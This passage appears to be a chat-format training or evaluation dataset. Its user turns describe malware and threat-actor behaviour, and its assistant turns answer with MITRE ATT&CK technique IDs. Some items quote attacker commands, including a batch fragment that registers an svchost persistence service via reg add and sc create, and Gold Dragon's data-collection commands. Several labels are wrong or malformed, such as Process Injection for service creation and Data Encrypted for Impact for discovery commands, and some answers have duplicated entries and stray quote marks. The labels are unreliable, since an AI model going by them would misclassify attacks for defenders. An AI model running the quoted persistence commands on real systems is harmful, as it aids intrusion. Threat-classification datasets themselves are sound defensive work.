        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap is a kernel-mode rootkit that has the ability to hook system calls to hide specific files and fake network and CPU-related statistics to make the CPU load of the infected machine always appear low."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie has the ability to steal saved passwords from the Internet Explorer, Edge, Firefox, and Chrome browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&amp;C server via an embedded iframe. At the same time, code embedded within this file also executed a PowerShell command to download and execute a copy of chfeeds.vbe from the C&amp;C server"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Spalax, the threat actors staged malware and malicious files in legitimate hosting services such as OneDrive or MediaFire."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors commonly maintain persistence on a victim’s system by installing the malware-as-a-service. Volgmer queries the system and randomly selects a service in which to install a copy of itself. The malware then overwrites the ServiceDLL entry in the selected service's registry entry. In some cases, HIDDEN COBRA actors give the created service a pseudo-random name that may be composed of various hardcoded words"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One persistence mechanism used by  is to register itself as a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A RedLeaves configuration file is encrypted with a simple XOR key, 0x53."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ProLock can use vssadmin.exe to remove volume shadow copies."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can use the `IARPUinstallerStringLauncher` COM interface are part of its UAC bypass process."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can list the current running processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol has used several API calls like `GetLogicalDriveStrings`, `SleepEx`, `SystemParametersInfoAPI`, `CryptEncrypt`, and others to execute parts of its attack."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filename qrat.exe   File Size 1093120 bytes   MD5 c05e5131b196f43e1d02ca5ccc48ec0e   SHA1 f28c592833f234c619917b5c7d8974840a810247   Notes Dropper that installs QuasarRAT file microsoft_network.exe and scheduled task wrapper file Microsoft.Win32.TaskScheduler.dll"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The test plugin attempts to connect to a provided address to check access to the network. Meanwhile, the reverse P2P plugin creates a proxy server to bridge the C&amp;C and the client. This creates another connection to another C&amp;C specified in the commands to act as a proxy, redirecting traffic from the infected machine to the real C&amp;C server"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Any information gathered from the endpoint is first stored in the following file, encrypted, and sent to the control server:  C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp  The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server:  Directory listing of the user’s Desktop folder using command:  cmd.exe /c dir C:\\DOCUME~1\\<username>\\Desktop\\ >> C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp  Directory listing of the user’s recently accessed files using command:  cmd.exe /c dir C:\\DOCUME~1\\<username>\\Recent >> C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp  Directory listing of the system’s %programfiles% folder using command:  cmd.exe /c dir C:\\PROGRA~1\\ >> C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp  Systeminfo of the endpoint using command:  cmd.exe /c systeminfo >> C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp  Copies the file ixe000.bin from:  C:\\Documents and Settings\\<username>\\Application Data\\Microsoft\\Windows\\UserProfiles\\ixe000.bin To: C:\\DOCUME~1\\<username>\\APPLIC~1\\MICROS~1\\HNC\\1.hwp  Registry key and value information for the current user’s Run key (with information collected):  HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Number of subkeys (<KeyIndex>) <KeyName> Number of Values under each key including the parent Run key (<ValueIndex>) <Value_Name> <Value_Content>  Registry Run key enumeration by Gold Dragon"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the ipconfig /all command to gather the victim’s IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Registry Run keys for persistence. The group has also set a Startup path to launch the PowerShell shell command and download Cobalt Strike."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves attempts to add a shortcut file in the Startup folder to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The version used here is version 4.1 digitally signed by Notepad++, as shown in Figure 5"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used HTTP POSTs to exfil gathered information."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADFLICK has captured victim IP address details."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has obfuscated its strings with a simple XOR encryption with a static key."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can query the Registry on compromised hosts using \"RegQueryValueExA\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can compress data stolen from the Registry and volume shadow copies prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If running as administrator, TDTESS installs itself as a new service named bmwappushservice to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "No exploits were used, so the victim would have to manually execute the malware dropper, which pretends to be an Adobe Flash installer. However, our analysis confirmed that Bad Rabbit uses the EternalRomance exploit as an infection vector to spread within corporate networks. The same exploit was used in the ExPetr"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Strings in Attor's components are encrypted with a XOR cipher, using a hardcoded key and the configuration data, log files and plugins are encrypted using a hybrid encryption scheme of Blowfish-OFB combined with RSA."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment. They also primarily used IP addresses originating from the same country as the victim for their VPN infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We also identified a Tomiris variant (internally named “SBZ”, MD5 51AA89452A9E57F646AB64BE6217788E) which acts as a filestealer, and uploads any recent file matching a hardcoded set of extensions (.doc, .docx, .pdf, .rar, etc"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used Registry keys to detect and avoid executing in potential sandboxes."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has registered domains to impersonate services such as Dropbox to distribute malware."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CopyKittens digitally signed an executable with a stolen certificate from legitimate company AI Squared."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe). As a result, the malicious print process is loaded when the spooler service starts. Note that the Print Spooler service starts at each PC startup, which ensures persistence across system resets"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware proceeds to blacklist certain processes such as “wininit.exe” when approaches memory scraping in order to speed necessary card scan logic"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransom note instructs the victim to use a unique URL to decrypt their files. Victims must provide the key and extension name included in the ransom note. The key specified in the ransom note is the Base64-encoded representation of the encrypted stat data stored in the registry"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used an additional filename extension to hide the true file type."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As mentioned by the Cisco Talos Intelligence Group, after executing the Micropsia registers itself against the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE can use \"DirectoryList\" to enumerate files in a specified directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Where the number of passed parameters is one, the payload will read the sys.bin.url file from %appdata%\\systemconfig. It will then spawns a new svchost process as C:\\\\windows\\\\system32\\\\svchost.exe –k update in suspended state and injects the payload. Finally, it patches the entry point of svchost.exe so it can execute the malicious payload after the ResumeThread call"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is known to use software packing in its tools."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mythic can leverage a modified SOCKS5 proxy to tunnel egress C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copied and installed tools for operations once in the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In 2014, Imminent Monitor started supporting third-party plugins. The first of these offered the ability to turn the webcam light off while monitoring. Shockwave™ wrote: “Hey, good job on being the first to release a plugin for Imminent Monitor"
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gallmaker sent victims a lure document with a warning that asked victims to “enable content” for execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky created and used a mailing toolkit to use in spearphishing attacks."
            },
            {
                "role": "assistant",
                "content": "T1587 - Develop Capabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can establish persistence by creating a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. This tool was originally intended to aid defenders in simulating obfuscated PowerShell commands to better their defenses. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. This PE was slightly different from the other attack, being compiled using the Microsoft .NET Framework instead of being generated via a bat2exe tool and containing a decoy dialog box as shown in Figure 1"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke has used \"HKLM\\SOFTWARE\\Microsoft\\CurrentVersion\\Run\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As days go by, more of the reported ransomware attacks turn out to be related to the new Pay2Key ransomware. The attacker followed the same procedure to gain a foothold, propagate and remotely control the infection within the compromised companies."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During this activity, we noticed the wiper changing the system time to August 2012, as the temporary license key for the RawDisk driver requires the system time to not exceed the month of August, which is when the temporary license would expire. This modification to the system time was seen in the previous campaign, and the temporary license key within the wiper component is the exact same as wiper component from the 2012 attacks. The wiper itself queries the following registry keys to obtain a list of partitions to overwrite"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has decrypted files and payloads using a XOR-based algorithm."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The information collected is performed using WMI queries: Additionally the malware lists the running process via the Microsoft Windows API. The malware uses obfuscation in order to hide strings such as URL or User-Agent, the algorithm is based on bitwise (SUB 0x0F XOR 0x21), here is the decoded data"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUGARUSH has created a service named `Service1` for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BendyBear has used a custom RC4 and XOR encrypted protocol over port 443 for C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke collects user credentials, including passwords, for various programs including popular instant messaging applications and email clients as well as WLAN keys."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet collects the time and date of a system when it is infected."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie Malware Family Comnie uses the RC4 algorithm in multiple locations both to obfuscate strings used by the malware, as well as for network communication. More information about how Comnie handles identified security products may be found in the technical analysis in the Appendix. Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path. When originally run, Comnie will convert itself from an executable file to a DLL and will write this newly created DLL to the host machine’s %APPDATA% directory. The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file. Unit 42 has observed a total of two variants of Comnie. One of the ways the variants differ is in how they obtain their command and control (C2) information. Both variants make use of third-party online services in an attempt to prevent DNS based blocking of their first stage communications. In older variants, Comnie was found to look for the ‘++a++’ markers. The example C2s used by older variants of Comnie demonstrates this"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has used stolen certificates from Electrum Technologies GmbH to sign payloads."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to collect even more information, from time to time the Zebrocy operators upload and use dumpers on victims’ machines. The current dumpers have some similarities with those previously used by the group. In this case, Yandex Browser, Chromium, 7Star Browser (a Chromium-based browser), and CentBrowser are targeted, as well as versions of Microsoft Outlook from 1997 through 2016"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used trojanized documents that retrieved remote templates from an adversary-controlled website."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has obfuscated code using base64 and gzip compression."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copy %~dp0%DLL_NAME%\" \"%WORK_DIR%\" /Y reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v \"%SERVICE_NAME%\" /t REG_MULTI_SZ /d \"%SERVICE_NAME%\" /f sc create \"%SERVICE_NAME%\" binPath= \"%SystemRoot%\\system32\\svchost.exe -k %SERVICE_NAME%\" type= share start= auto error= ignore DisplayName= \"%DISPLAY_NAME%\" SC failure \"%SERVICE_NAME%\" reset= 86400 actions=\""
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A macro in the Microsoft Word document contained the malicious code designed to download and execute additional malicious software on the infected system"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
